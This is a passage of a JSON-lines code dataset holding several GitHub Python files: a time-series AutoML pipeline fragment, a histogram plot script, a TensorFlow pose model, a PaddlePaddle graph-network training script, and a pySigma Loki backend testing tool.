damped_trend=self._int_to_bool(round(x[30])), \n                                    initialization_method=self._int_to_string(round(x[31]), estimated=0, heuristic=1, known=2), \n                                    initial_level=x[32], \n                                    initial_trend=x[33]\n                                    ))])\n        elif indexModel == self.positions[len(self.positionsPreprocessingTechniques)+5][1]:\n            pipelineModelTS = Pipeline([('SimpleExpSmoothing', SimpleExpSmoothing(preprocessPipeline.fit(serie).transform(serie),\n                                                                initialization_method=self._int_to_string(round(x[35]), estimated=0, heuristic=1, known=2),\n                                                                initial_level=x[36]\n                                                                ))])\n        elif indexModel == self.positions[len(self.positionsPreprocessingTechniques)+6][1]:\n            pipelineModelTS = Pipeline([('ETSModel', ETSModel(preprocessPipeline.fit(serie).transform(serie),\n                                            error=self._int_to_string(round(x[38]), add=0, mul=1),\n                                            trend=self._int_to_string(round(x[39]), add=0, mul=1),\n                                            damped_trend=self._int_to_bool(round(x[40])),\n                                            seasonal=self._int_to_string(round(x[41]), add=0, mul=1),\n                                            seasonal_periods=round(x[42]),\n                                            initialization_method=self._int_to_string(round(x[43]), estimated=0, heuristic=1, known=2),\n                                            initial_level=x[44],\n                                            initial_trend=x[45]\n                                            ))])\n        elif indexModel == self.positions[len(self.positionsPreprocessingTechniques)+7][1]:\n            pipelineModelTS = Pipeline([('DynamicFactor', DynamicFactor(preprocessPipeline.fit(serie).transform(serie), \n                                                      k_factors=round(x[47]), \n                                                      factor_order=round(x[48]), \n                                                      error_cov_type=self._int_to_string(round(x[49]), scalar=0, diagonal=1, unstructured=2)\n                                                      ))])\n        elif indexModel == self.positions[len(self.positionsPreprocessingTechniques)+8][1]:\n            pipelineModelTS = Pipeline([('DynamicFactorMQ', DynamicFactorMQ(preprocessPipeline.fit(serie).transform(serie), \n                                                          k_endog_monthly =round(x[51]), \n                                                          factors=round(x[52]), \n                                                          factor_orders=round(x[53]), \n                                                          factor_multiplicities=round(x[54]), \n                                                          idiosyncratic_ar1=self._int_to_bool(round(x[55])), \n                                                          standardize=self._int_to_bool(round(x[56])), \n                                                          init_t0=self._int_to_bool(round(x[57])) \n                                                          ))])\n        elif indexModel == self.positions[len(self.positionsPreprocessingTechniques)+9][1]:\n            pipelineModelTS = Pipeline([('VAR', VAR(preprocessPipeline.fit(serie).transform(serie)))])\n        elif indexModel == self.positions[len(self.positionsPreprocessingTechniques)+10][1]:\n            pipelineModelTS = Pipeline([('VARMAX', VARMAX(preprocessPipeline.fit(serie).transform(serie),\n                                        order=(round(x[60]),round(x[61])),\n                                        trend=self._int_to_string(round(x[62]), n=0, c=1, t=2, ct=3),\n                                        error_cov_type=self._int_to_string(round(x[63]), diagonal=0, unstructured=1),\n                                        measurement_error=self._int_to_bool(round(x[64])),\n                                        enforce_stationarity=self._int_to_bool(round(x[65])),\n                                        enforce_invertibility=self._int_to_bool(round(x[66]))\n                                        ))])\n        elif indexModel == self.positions[len(self.positionsPreprocessingTechniques)+11][1]:\n            pipelineModelTS = Pipeline([('SVAR', SVAR(preprocessPipeline.fit(serie).transform(serie),\n                                    svar_typestr = self._int_to_string(round(x[68]), A=0, B=1, AB=2),\n                                    ))])\n        elif indexModel == self.positions[len(self.positionsPreprocessingTechniques)+12][1]:\n            pipelineModelTS = Pipeline([('VECM', VECM(preprocessPipeline.fit(serie).transform(serie),\n                                    k_ar_diff=round(x[70]),\n                                    coint_rank=round(x[71]),\n                                    deterministic=self._int_to_string(round(x[72]), nc=0, co=1, ci=2, lo=3, li=4)\n                                    ))])\n        elif indexModel == self.positions[len(self.positionsPreprocessingTechniques)+13][1]:\n            pipelineModelTS = Pipeline([('UnobservedComponents', UnobservedComponents(preprocessPipeline.fit(serie).transform(serie),\n                                                                    level=self._int_to_bool(round(x[74])),\n                                                                    trend=self._int_to_bool(round(x[75])),\n                                                                    seasonal=round(x[76]),\n                                                                    cycle=self._int_to_bool(round(x[77])),\n                                                                    autoregressive=round(x[78]),\n                                                                    irregular=self._int_to_bool(round(x[79])),\n                                                                    stochastic_level=self._int_to_bool(round(x[80])),\n                                                                    stochastic_trend=self._int_to_bool(round(x[81])),\n                                                                    stochastic_seasonal=self._int_to_bool(round(x[82])),\n                                                                    stochastic_cycle=self._int_to_bool(round(x[83])),\n                                                                    damped_cycle=self._int_to_bool(round(x[84])),\n                                                                    use_exact_diffuse=self._int_to_bool(round(x[85]))\n                                                                    ))])\n        return pipelineModelTS\n    \n    def _int_to_string(self, value, **kwargs):\n        for element in kwargs:\n            if kwargs[element] == value:\n                return element \n            \n    def _int_to_bool(self, value):\n            if value == 1:\n                return True\n            else:\n                return False       \n  \n# from numpy import genfromtxt\n# examples = genfromtxt('prueba.csv', delimiter=',') \n# from pandas import read_csv   \n# import pandas as pd\n# series = read_csv('ibm-common-stock-closing-prices.csv', header=0, index_col=0)\n# NewSerie = series.values\n# prueba = ChoosePipeline()\n# # x_va = prueba(examples[6], NewSerie)\n\n# nueva = list()\n# for i in examples:\n#     x_va = prueba(i, NewSerie)\n#     nueva.append(x_va)\n    \nif __name__=='__main__':      \n    from numpy import genfromtxt\n    examples = genfromtxt('prueba.csv', delimiter=',') \n    from pandas import read_csv   \n    import pandas as pd\n    series = read_csv('ibm-common-stock-closing-prices.csv', header=0, index_col=0)\n    NewSerie = series.values\n    prueba = ChoosePipeline()\n    #x_va = prueba(examples[1], NewSerie)\n    \n    nueva = list()\n    for i in examples:\n        x_va = prueba(i, NewSerie)\n        nueva.append(x_va)\n\n# from sklearn import datasets\n\n# # import some data to play with\n# iris = datasets.load_iris()\n# X = iris.data  # we only take the first two features.\n# y = iris.target\n\n\n# def _build_vector(x):\n#     _vector_int_float = x.copy() \n#     _vector_pos_copy = float_int_positions.copy()\n#     for i in range(len(_vector_int_float)):\n#         if _vector_pos_copy[i][1] == 'int':\n#             _vector_int_float[i] = int(round(_vector_int_float[i]))\n#     return _vector_int_float\n    \n# x = examples[1]\n# build_vec = _build_vector(x)\n# list_index_techniques_to_use = []\n# for i in positionsPreprocessingTechniques:\n#     if round(x[i]) == 1:\n#         list_index_techniques_to_use.append(i)\n# valueIndicesClassifiers = [x[i] for i in positionsClassifiers]\n# max_value = max(valueIndicesClassifiers)\n# max_index = valueIndicesClassifiers.index(max_value)\n# indexClassifier = positionsClassifiers[max_index]\n# #The last index is the classifier\n# list_index_techniques_to_use.append(indexClassifier)\n\n# auxiliar = []\n# for i in range(len(positions)):\n#     for j in list_index_techniques_to_use:\n#         if positions[i][1]==j:\n#             auxiliar.append(i)\n","repo_name":"israelCamperoJurado/GAMA_generalized_island_model_AutoML","sub_path":"gama/genetic_programming/pygmo_gama/ts_models.py","file_name":"ts_models.py","file_ext":"py","file_size_in_byte":17462,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"}
{"seq_id":"6559183460","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Feb 22 10:03:38 2022\n\n@author: ixl\n\"\"\"\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport glob\n\nsingle_list = glob.glob('/Users/ixl/Desktop/Cones/Single/*')\nmany_list = glob.glob('/Users/ixl/Desktop/Cones/Many/*')\n\nsingles = []\nlabels = []\nmany = []\nfor sin in single_list:\n    if 'xy' in sin:\n        singles.append(np.loadtxt(sin,delimiter=' ',usecols=(0,1)))\n        labels.append(int(sin.split('/')[6].strip('mm_xy.txt')))\n'''\nfor man in many_list:\n    many.append(np.loadtxt(man,delimiter=' '))\n'''\nplt.figure()\nfor i in range(len(singles)):\n    plt.hist(singles[i][:,0],label=labels[i],histtype='barstacked',bins=50)\nplt.legend()\n'''\nplt.plot(singles[0][:,0])\nplt.plot(many[0][:,1])\n'''\nplt.show()","repo_name":"loydms/Lead","sub_path":"plot_lightcone.py","file_name":"plot_lightcone.py","file_ext":"py","file_size_in_byte":777,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"5353025121","text":"#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n\nimport sys\nimport os\nimport math\nimport yaml\nimport csv\nimport cv2\nimport shutil\nimport numpy as np\nimport tensorflow as tf\nfrom tensorflow.keras import datasets,layers,models,losses,optimizers,Model\nfrom params import *\n\ndef inception(inputs,filters):\n    a = layers.Conv2D(filters,(1,1),activation='relu',padding='same')(inputs)\n    b = layers.Conv2D(filters,(1,1),activation='relu',padding='same')(inputs)\n    b = layers.Conv2D(filters,(3,3),activation='relu',padding='same')(b)\n    #c = layers.Conv2D(filters,(1,1),activation='relu',padding='same')(inputs)\n    #c = layers.Conv2D(filters,(3,3),activation='relu',padding='same')(c)\n    #c = layers.Conv2D(filters,(3,3),activation='relu',padding='same')(c)\n    #d = layers.Conv2D(filters,(1,1),activation='relu',padding='same')(inputs)\n    #d = layers.Conv2D(filters,(3,3),activation='relu',padding='same')(d)\n    #d = layers.Conv2D(filters,(3,3),activation='relu',padding='same')(d)\n    #d = layers.Conv2D(filters,(3,3),activation='relu',padding='same')(d)\n    #e = layers.MaxPooling2D((3,3),strides=(1,1),padding='same')(inputs)\n    #e = layers.Conv2D(filters,(1,1),activation='relu',padding='same')(e)\n    #return layers.Concatenate(axis=3)([a,b,c,d,e])\n    #return layers.Concatenate(axis=3)([a,b,c,e])\n    return layers.Concatenate(axis=3)([a,b])\n\ndef reduction(inputs,f):\n    a = layers.Conv2D(f,(3,3),strides=(2,2),activation='relu')(inputs)\n    return a\n\ndef create(cutout_size,depth,filters,rate):\n    if depth:\n        inputs = layers.Input(shape=(cutout_size,cutout_size,4))\n    else:\n        inputs = layers.Input(shape=(cutout_size,cutout_size,3))\n    a = inception(inputs,filters)\n    a = reduction(a,filters)\n    a = inception(a,filters)\n    a = reduction(a,filters)\n    a = inception(a,filters)\n    a = reduction(a,filters)\n    a = inception(a,filters)\n    a = reduction(a,filters)\n    a = inception(a,filters)\n    a = reduction(a,filters)\n    a = inception(a,filters)\n    a = layers.Flatten()(a)\n    outputs = layers.Dense(5)(a)\n    model = Model(inputs=inputs,outputs=outputs)\n    model.compile(\n        optimizer=optimizers.Nadam(learning_rate=rate),\n        loss='mean_absolute_error',\n        metrics=['acc'])\n    model.summary()\n    return model\n\ndef infer(model,inputs):\n    return model.predict(tf.expand_dims(inputs,0),steps=1)[0]\n\ndef load_dataset(depth,path,csv_name):\n    inputs = []\n    outputs = []\n    instances = []\n    with open(csv_name,newline='') as file:\n        for row in csv.reader(file):\n            r = 0\n            name = row[r]\n            r += 1\n            center = (float(row[r]),float(row[r + 1]))\n            r += 2\n            screen = (float(row[r]),float(row[r + 1]))\n            r += 2\n            ndc = (float(row[r]),float(row[r + 1]),float(row[r + 2]))\n            r += 3\n            head_pos = (float(row[r]),float(row[r + 1]),float(row[r + 2]))\n            r += 3\n            head_dir = (float(row[r]),float(row[r + 1]))\n            r += 2\n            light_dir = (float(row[r]),float(row[r + 1]))\n            r += 2\n            light_color = (float(row[r]),float(row[r + 1]),float(row[r + 2]))\n            r += 3\n            ambient_color = (float(row[r]),float(row[r + 1]),float(row[r + 2]))\n            r += 3\n            skin_color = (float(row[r]),float(row[r + 1]),float(row[r + 2]))\n            r += 3\n            if depth:\n                image = np.multiply(cv2.imread(path + name,cv2.IMREAD_UNCHANGED).astype(np.float32),1.0 / 255.0)\n            else:\n                image = np.multiply(cv2.imread(path + name).astype(np.float32),1.0 / 255.0)\n            inputs.append(image)\n            dx = screen[0] - center[0]\n            dy = screen[1] - center[1]\n            output = [dx,dy,ndc[2],head_dir[0],head_dir[1]]\n            outputs.append(output)\n            instances.append((name,center,screen,ndc,head_pos,head_dir,light_dir,light_color,ambient_color,skin_color))\n    return (np.array(inputs),np.array(outputs),instances)\n\ndef train(model,dataset,epochs,batch_size):\n    n = int(0.2 * dataset[0].shape[0])\n    x_train = dataset[0][n:]\n    y_train = dataset[1][n:]\n    x_val = dataset[0][:n]\n    y_val = dataset[1][:n]\n    history = model.fit(\n        x=x_train,\n        y=y_train,\n        validation_data=[x_val,y_val],\n        epochs=epochs,\n        batch_size=batch_size,\n        verbose=2,\n    )\n\ndef test(model,dataset,frame_width,frame_height,cutout_size):\n    errors = []\n    error_names = ['screen.x','screen.y','ndc.x','ndc.y','ndc.z','head_pos.x','head_pos.y','head_pos.z','head_dir.y','head_dir.p','skin.r','skin.g','skin.b']\n\n    mxx = 2.7990382\n    myy = 3.7320509\n    mzz = -1.0020020\n    mzw = -1.0\n    mwz = -0.2002002\n    mww = 0.0\n\n    for i in range(0,len(dataset[0])):\n        print('    {} / {}'.format(i,len(dataset[0]) - 1))\n        inference = infer(model,dataset[0][i])\n        dx = inference[0]\n        dy = inference[1]\n        ndcz = inference[2]\n        heady = inference[3]\n        headp = inference[4]\n        screenx = dataset[2][i][1][0] + dx\n        screeny = dataset[2][i][1][1] + dy\n        escreenx = dataset[2][i][2][0] - screenx\n        escreeny = dataset[2][i][2][1] - screeny\n        ndcx = 2.0 * screenx / frame_width - 1.0\n        ndcy = 1.0 - 2.0 * screeny / frame_height\n        endcx = dataset[2][i][3][0] - ndcx\n        endcy = dataset[2][i][3][1] - ndcy\n        endcz = dataset[2][i][3][2] - ndcz\n        z = (mzw - mww * ndcz) / (mwz * ndcz - mzz)\n        homw = mwz * z + mww\n        x = homw * ndcx / mxx\n        y = homw * ndcy / myy\n        ex = dataset[2][i][4][0] - x\n        ey = dataset[2][i][4][1] - y\n        ez = dataset[2][i][4][2] - z\n        eheady = dataset[2][i][5][0] - heady\n        eheadp = dataset[2][i][5][1] - headp\n        errors.append((escreenx,escreeny,endcx,endcy,endcz,ex,ey,ez,eheady,eheadp))\n    total = len(errors)\n    n = len(errors[0])\n    avg = []\n    for i in range(0,n):\n        avg.append(0.0)\n    for error in errors:\n        for i in range(0,n):\n            avg[i] += error[i]\n    for i in range(0,n):\n        avg[i] /= total\n    dif = []\n    for i in range(0,n):\n        dif.append(0.0)\n    for error in errors:\n        for i in range(0,n):\n            d = error[i] - avg[i]\n            dif[i] += d * d\n    almost_total = total - 1.0\n    for i in range(0,n):\n        dif[i] /= almost_total\n    stddev = []\n    for i in range(0,n):\n        stddev.append(math.sqrt(dif[i]))\n    print('statistics:')\n    for i in range(0,n):\n        print('    {:>16}: {:>6.3f} +/- {:>6.3f}'.format(error_names[i],avg[i],stddev[i]))\n\nif __name__ == '__main__':\n    params = Params('./params.yaml')\n\n    weights_name = './pose.h5'\n\n    path1data = './data1/'\n    csv1data = './data1/files.csv'\n    path1test = './test1/'\n    csv1test = './test1/files.csv'\n    \n    if len(sys.argv) < 2:\n        print('usage:')\n        print('')\n        print('    python3 pose.py <command>')\n        print('')\n        print('where command is:')\n        print('    train       - start training')\n        print('    train more  - improve training')\n        print('    test        - numerically test the network')\n        exit(-1)\n\n    if sys.argv[1] == 'train':\n        print('creating model...')\n        model = create(params.cutout_size,params.depth,params.pose_filters,params.pose_rate)\n        print('loading data1 dataset...')\n        dataset = load_dataset(params.depth,path1data,csv1data)\n        if (len(sys.argv) > 2) and (sys.argv[2] == 'more'):\n            print('loading old weights...')\n            model.load_weights(weights_name)\n        print('training...')\n        train(model,dataset,params.pose_epochs,params.pose_batch_size)\n        print('saving new weights...')\n        model.save_weights(weights_name)\n\n    elif sys.argv[1] == 'test':\n        print('creating model...')\n        model = create(params.cutout_size,params.depth,params.pose_filters,params.pose_rate)\n        print('loading weights...')\n        model.load_weights(weights_name)\n        print('loading test0 dataset...')\n        dataset = load_dataset(params.depth,path1test,csv1test)\n        print('measuring statistics...')\n        test(model,dataset,params.frame_width,params.frame_height,params.cutout_size)\n","repo_name":"germansmedia/holistic","sub_path":"pose.py","file_name":"pose.py","file_ext":"py","file_size_in_byte":8216,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"5830787862","text":"# 参考地址：https://github.com/PaddlePaddle/PGL/blob/main/examples/gcn/train.py\n# 模型的保存与加载：https://www.paddlepaddle.org.cn/documentation/docs/zh/tutorial/quick_start/save_model/save_model.html\nimport paddle\nimport argparse\nfrom preprocess import load\nfrom GCN import GCN\nfrom GAT import GAT\nfrom GCNII import GCNII\nfrom pgl.utils.logger import log\nfrom paddle.optimizer import Adam\ndef train(node_index, node_label, gnn_model, graph, criterion, optim):\n    gnn_model.train()\n    pred = gnn_model(graph, graph.node_feat[\"feat\"])\n    pred = paddle.gather(pred, node_index)\n    loss = criterion(pred, node_label)\n    loss.backward()\n    acc = paddle.metric.accuracy(input=pred, label=node_label, k=1)\n    optim.step()\n    optim.clear_grad()\n    return loss, acc\n@paddle.no_grad()\ndef eval(node_index, node_label, gnn_model, graph, criterion):\n    gnn_model.eval()\n    pred = gnn_model(graph, graph.node_feat[\"feat\"])\n    pred = paddle.gather(pred, node_index)\n    loss = criterion(pred, node_label)\n    acc = paddle.metric.accuracy(input=pred, label=node_label, k=1)\n    return loss, acc\ndef main(args):\n    # 初始化数组\n    dur = []\n    best_test = []\n    cal_val_acc = []\n    cal_test_acc = []\n    cal_val_loss = []\n    cal_test_loss = []\n    # step1. 数据加载\n    dataset = load()\n    # dataset.graph.tensor()\n    graph = dataset.graph\n    train_index = dataset.train_index\n    train_label = dataset.train_label\n    val_index = dataset.valid_index\n    val_label = dataset.valid_label\n    test_index = dataset.test_index\n    # step2. 损失函数配置\n    criterion = paddle.nn.loss.CrossEntropyLoss()\n    # step3. 模型配置\n    if args.model_name == 'GCN':\n        gnn_model = GCN(input_size=graph.node_feat[\"feat\"].shape[1],\n                                num_class=dataset.num_classes,\n                                num_layers=args.num_layers,\n                                dropout=0.5,\n                                hidden_size=128)\n    if args.model_name == 'GAT':\n        gnn_model = GAT(input_size=graph.node_feat[\"feat\"].shape[1],\n                        num_class=dataset.num_classes,\n                        num_layers=args.num_layers,\n                        feat_drop=0.6,\n                        attn_drop=0.6,\n                        num_heads=8,\n                        hidden_size=64)\n    if args.model_name == 'GCNII':\n        gnn_model = GCNII(input_size=graph.node_feat[\"feat\"].shape[1],\n                        num_class=dataset.num_classes,\n                        num_layers=args.num_layers,\n                        )\n    # step4. 优化方法配置\n    optim = Adam(\n            learning_rate=args.lr,\n            parameters=gnn_model.parameters(),\n            weight_decay=0.0005)\n    # step4. 模型训练\n    gnn_model.train()\n    for epoch in range(args.epoch):\n        train_loss, train_acc = train(train_index, train_label, gnn_model,\n                                          graph, criterion, optim)\n        \n        val_loss, val_acc = eval(val_index, val_label, gnn_model, graph,\n                                    criterion)\n        cal_val_acc.append(val_acc.numpy())\n        cal_val_loss.append(val_loss.numpy())\n        layer_state_dict = gnn_model.state_dict()\n        paddle.save(layer_state_dict,\"work/GCN.pdparams\")\n        # paddle.save(gnn_model.weight,\"work/GCN.weight.pdtensor\")\n        log.info(f\"epoch{epoch}:Model:val Accuracy:{val_acc.numpy()}   Loss:{val_loss.numpy()}\")\n        if val_acc.numpy()>0.71:\n            print(val_acc.numpy())\n            break\n    # log.info(\"Runs %s: Model: GCN Best Test Accuracy: %f\" %\n    #              (run, cal_test_acc[np.argmin(cal_val_loss)]))\n    # best_test.append(cal_test_acc[np.argmin(cal_val_loss)])\n    # log.info(\"Average Speed %s sec/ epoch\" % (np.mean(dur)))\n    # log.info(\"Dataset: %s Best Test Accuracy: %f ( stddev: %f )\" %\n    #          (args.dataset, np.mean(best_test), np.std(best_test)))\n\n        \nif __name__==\"__main__\":\n    parser = argparse.ArgumentParser(\n        description='Benchmarking Citation Network')\n    parser.add_argument(\"--model_name\", type=str,default='GCN', help=\"model_name\")\n    parser.add_argument(\"--num_layers\",type=int,default=1,help=\"layers number\")\n    parser.add_argument(\"--lr\",type=float,default=0.01,help=\"learning_rate\")\n    parser.add_argument(\"--epoch\", type=int, default=200, help=\"Epoch\")\n    parser.add_argument(\"--runs\", type=int, default=10, help=\"runs\")\n    parser.add_argument(\n        \"--feature_pre_normalize\",\n        type=bool,\n        default=True,\n        help=\"pre_normalize feature\")\n    args = parser.parse_args()\n    log.info(args)\n    main(args = args)\n\n","repo_name":"Sherry666666/Paddle_project","sub_path":"飞桨常规赛：论文引用网络节点分类/src/make_model.py","file_name":"make_model.py","file_ext":"py","file_size_in_byte":4660,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"13347809937","text":"import argparse\nimport collections\nimport operator\nimport os\nimport subprocess\nfrom typing import Any, Dict\n\nfrom sigma.backends.loki import LogQLBackend\nfrom sigma.collection import SigmaCollection\nfrom sigma.pipelines.sysmon import sysmon_pipeline\nfrom sigma.pipelines.loki import loki_grafana_logfmt, loki_promtail_sysmon\nfrom sigma.rule import SigmaDetection, SigmaError\n\nparser = argparse.ArgumentParser(\n    description=\"A script to help test pySigma backends using Sigma signature files\",\n    epilog=\"For any issues or requests for support, see the GitHub page\",\n)\nparser.add_argument(\n    \"signature_path\",\n    help=\"A path to either a single Sigma signature YAML file or a directory containing \"\n    \"one or more signatures (incl. sub-folders)\",\n)\nparser.add_argument(\n    \"-a\",\n    \"--add-line-filters\",\n    action=\"store_true\",\n    help=\"Attempt to add a single line filter to queries that otherwise lack any, to help improve \"\n    \"the overall performance of the query when being run on Loki.\",\n)\nparser.add_argument(\n    \"-c\",\n    \"--counts\",\n    action=\"store_true\",\n    help=\"Produce counts of the numbers of signatures processed and counts of successes/fails, \"\n    \"along with error counts\",\n)\nparser.add_argument(\n    \"-p\",\n    \"--print\",\n    action=\"store_true\",\n    help=\"Print the query(s) that were generated for the backend, and validation stdout if \"\n    \"applicable\",\n)\nparser.add_argument(\n    \"-s\",\n    \"--summarize\",\n    action=\"store_true\",\n    help=\"Produce a summary of the processed signature's log source information\",\n)\nparser.add_argument(\n    \"-t\",\n    \"--tests\",\n    type=str,\n    help=\"A path to either a single test log file or a directory containing one or more test log \"\n    \"files, used during the validation of the generated rule(s). If a path to a directory is \"\n    \"provided, this script will look for .log files with the same directory structure of the \"\n    \"signature_path (i.e., if there is a rules/bad.yml file within signature_path, the script \"\n    \"will look for a rules/bad.log file within the path specified in tests)\",\n)\nparser.add_argument(\n    \"-u\",\n    \"--unique\",\n    action=\"store_true\",\n    help=\"Print the unique types and messages of errors that occur during the process\",\n)\nparser.add_argument(\n    \"-v\",\n    \"--validate\",\n    action=\"store_true\",\n    help=\"Validate the generated rule(s) through the backend engine, where one or more lines of \"\n    \"stdout denotes a successful validation\",\n)\nparser.add_argument(\n    \"-w\",\n    \"--windows\",\n    action=\"store_true\",\n    help=\"Use Windows sysmon pipelines\",\n)\n\n\nargs = parser.parse_args()\n\nrule_path = args.signature_path\n\npipeline = (\n    sysmon_pipeline() + loki_promtail_sysmon()\n    if args.windows\n    else loki_grafana_logfmt()\n)\n\nbackend = LogQLBackend(\n    processing_pipeline=pipeline,\n    add_line_filters=args.add_line_filters,\n)\n\ncounters: Dict[str, Any] = {\n    \"parse_error\": 0,\n    \"convert_error\": 0,\n    \"validate_error\": 0,\n    \"total_sigs\": 0,\n    \"total_queries\": 0,\n    \"total_files\": 0,\n    \"total_test_logs\": 0,\n    \"convert_success\": 0,\n    \"validate_success\": 0,\n    \"fields\": {},\n    \"error_types\": {},\n    \"error_messages\": {},\n    \"validate_stdout\": {},\n    \"validate_stderr\": {},\n    \"categories\": {},\n    \"products\": {},\n    \"services\": {},\n}\n\n\ndef validate_with_backend(query, test_file=subprocess.DEVNULL):\n    if test_file is None:\n        test_file = subprocess.DEVNULL\n    result = subprocess.run(\n        [\"logcli\", \"--stdin\", \"query\", query], stdin=test_file, capture_output=True\n    )\n    stdout = result.stdout.decode()\n    stderr = result.stderr.decode()\n    valid = False\n    # If we have an input file, the query is valid if logcli produces one or more lines\n    # of output. Otherwise, check logcli's return code to ensure the query is\n    # syntactically valid\n    if test_file is not subprocess.DEVNULL:\n        valid = stdout.count(os.linesep) > 0\n    else:\n        valid = result.returncode == 0\n    return (result.returncode, stdout, stderr, valid)\n\n\ndef find_all_detection_items(detection, acc):\n    for value in detection.detection_items:\n        if isinstance(value, SigmaDetection):\n            return find_all_detection_items(value, acc)\n        else:\n            return acc + [value]\n\n\ndef process_file(file_path, test_file, args, counters):\n    with open(file_path) as rule_file:\n        sigma_rules = None\n        yaml = rule_file.read()\n        counters[\"total_files\"] += 1\n        try:\n            sigma_rules = SigmaCollection.from_yaml(yaml)\n            counters[\"total_sigs\"] += len(sigma_rules)\n            if args.summarize:\n                for rule in sigma_rules:\n                    fields = (\n                        list(\n                            item.field\n                            for detection in rule.detection.detections.values()\n                            for item in find_all_detection_items(detection, [])\n                            if item.field is not None\n                        )\n                        + rule.fields\n                    )\n                    for field in fields:\n                        counters[\"fields\"][field] = counters[\"fields\"].get(field, 0) + 1\n                    cat = rule.logsource.category\n                    prod = rule.logsource.product\n                    serv = rule.logsource.service\n                    if prod:\n                        counters[\"products\"][prod] = (\n                            counters[\"products\"].get(prod, 0) + 1\n                        )\n                    if serv:\n                        counters[\"services\"][serv] = (\n                            counters[\"services\"].get(serv, 0) + 1\n                        )\n                    if cat:\n                        counters[\"categories\"][cat] = (\n                            counters[\"categories\"].get(cat, 0) + 1\n                        )\n        except SigmaError as err:\n            counters[\"parse_error\"] += 1\n            if args.unique:\n                error_type = type(err).__name__\n                counters[\"error_types\"][error_type] = (\n                    counters[\"error_types\"].get(error_type, 0) + 1\n                )\n                counters[\"error_messages\"][str(err).strip()] = (\n                    counters[\"error_messages\"].get(str(err).strip(), 0) + 1\n                )\n            return\n        try:\n            loki_rules = backend.convert(sigma_rules)\n            counters[\"convert_success\"] += len(sigma_rules)\n            counters[\"total_queries\"] += len(loki_rules)\n            if args.validate or args.print:\n                for loki_query in loki_rules:\n                    if args.print:\n                        print(loki_query)\n                    if args.validate:\n                        (returncode, stdout, stderr, valid) = validate_with_backend(\n                            loki_query, test_file\n                        )\n                        if returncode != 0:\n                            counters[\"validate_error\"] += 1\n                        elif valid:\n                            counters[\"validate_success\"] += 1\n                        if args.print and len(stdout) > 0:\n                            print(stdout.strip())\n                        if args.unique and len(stderr) > 0:\n                            counters[\"validate_stderr\"][stderr.strip()] = (\n                                counters[\"validate_stderr\"].get(stderr.strip(), 0) + 1\n                            )\n        except SigmaError as err:\n            counters[\"convert_error\"] += 1\n            if args.unique:\n                error_type = type(err).__name__\n                counters[\"error_types\"][error_type] = (\n                    counters[\"error_types\"].get(error_type, 0) + 1\n                )\n                counters[\"error_messages\"][str(err)] = (\n                    counters[\"error_messages\"].get(str(err), 0) + 1\n                )\n\n\ndef print_counts(dct):\n    if len(dct) == 0:\n        print(\"\\tNo results\")\n        return\n    for k, v in collections.OrderedDict(\n        sorted(dct.items(), key=operator.itemgetter(1), reverse=True)\n    ).items():\n        print(f\"\\t{k}: {v}\")\n\n\ndef get_log_file(rule_file_path):\n    (root, _) = os.path.splitext(os.path.basename(rule_file_path))\n    return root + \".log\"\n\n\ntest_file = None\ntest_dir = None\nif args.tests:\n    if os.path.isfile(args.tests):\n        test_file = open(args.tests)\n        counters[\"total_test_logs\"] += 1\n    elif os.path.isdir(args.tests):\n        test_dir = args.tests\n    else:\n        print(f\"Could not find test file/directory: {args.tests}\")\n        exit(1)\n\nif os.path.isfile(rule_path):\n    if test_dir:\n        test_file_path = os.path.join(test_dir, get_log_file(rule_path))\n        if os.path.isfile(test_file_path):\n            test_file = open(test_file_path)\n            counters[\"total_test_logs\"] += 1\n    process_file(rule_path, test_file, args, counters)\nelif os.path.isdir(rule_path):\n    for dirpath, dirnames, filenames in os.walk(rule_path):\n        for filename in filenames:\n            rule_file_path = os.path.join(dirpath, filename)\n            if test_dir:\n                if test_file:\n                    test_file.close()\n                test_file_path = os.path.join(\n                    test_dir,\n                    os.path.relpath(dirpath, start=rule_path),\n                    get_log_file(filename),\n                )\n                if os.path.isfile(test_file_path):\n                    test_file = open(test_file_path)\n                    counters[\"total_test_logs\"] += 1\n                else:\n                    test_file = None\n            elif test_file:\n                test_file.seek(0)  # reset the stream position each time\n            process_file(rule_file_path, test_file, args, counters)\nelse:\n    print(f\"Could not find rule file/directory: {rule_path}\")\n    exit(1)\n\nif args.counts:\n    percent_conv = counters[\"convert_success\"] / counters[\"total_sigs\"] * 100\n    print(\n        f\"Successfully converted {counters['convert_success']} out of \"\n        f\"{counters['total_sigs']} ({percent_conv:.2f}%) signatures\"\n    )\n    if args.validate:\n        percent_valid = counters[\"validate_success\"] / counters[\"total_queries\"] * 100\n        print(\n            f\"Successfully validated {counters['validate_success']} out of \"\n            f\"{counters['total_queries']} ({percent_valid:.2f}%) queries\"\n        )\n    print(f\"YAML parse errors: {counters['parse_error']}\")\n    print(f\"Conversion errors: {counters['convert_error']}\")\n    if args.validate:\n        print(f\"Validation errors: {counters['validate_error']}\")\n        if args.tests:\n            print(f\"Test log files used: {counters['total_test_logs']}\")\n\nif args.unique:\n    print(\"Error counts:\")\n    print_counts(counters[\"error_types\"])\n    print(\"Error messages:\")\n    print_counts(counters[\"error_messages\"])\n    if args.validate:\n        print(\"Validation stderr:\")\n        print_counts(counters[\"validate_stderr\"])\n\nif args.summarize:\n    print(\"Fields:\")\n    print_counts(counters[\"fields\"])\n    print(\"Products:\")\n    print_counts(counters[\"products\"])\n    print(\"Services:\")\n    print_counts(counters[\"services\"])\n    print(\"Categories:\")\n    print_counts(counters[\"categories\"])\n\nif test_file:\n    test_file.close()\n","repo_name":"grafana/pySigma-backend-loki","sub_path":"tests/sigma_backend_tester.py","file_name":"sigma_backend_tester.py","file_ext":"py","file_size_in_byte":11244,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"18"}
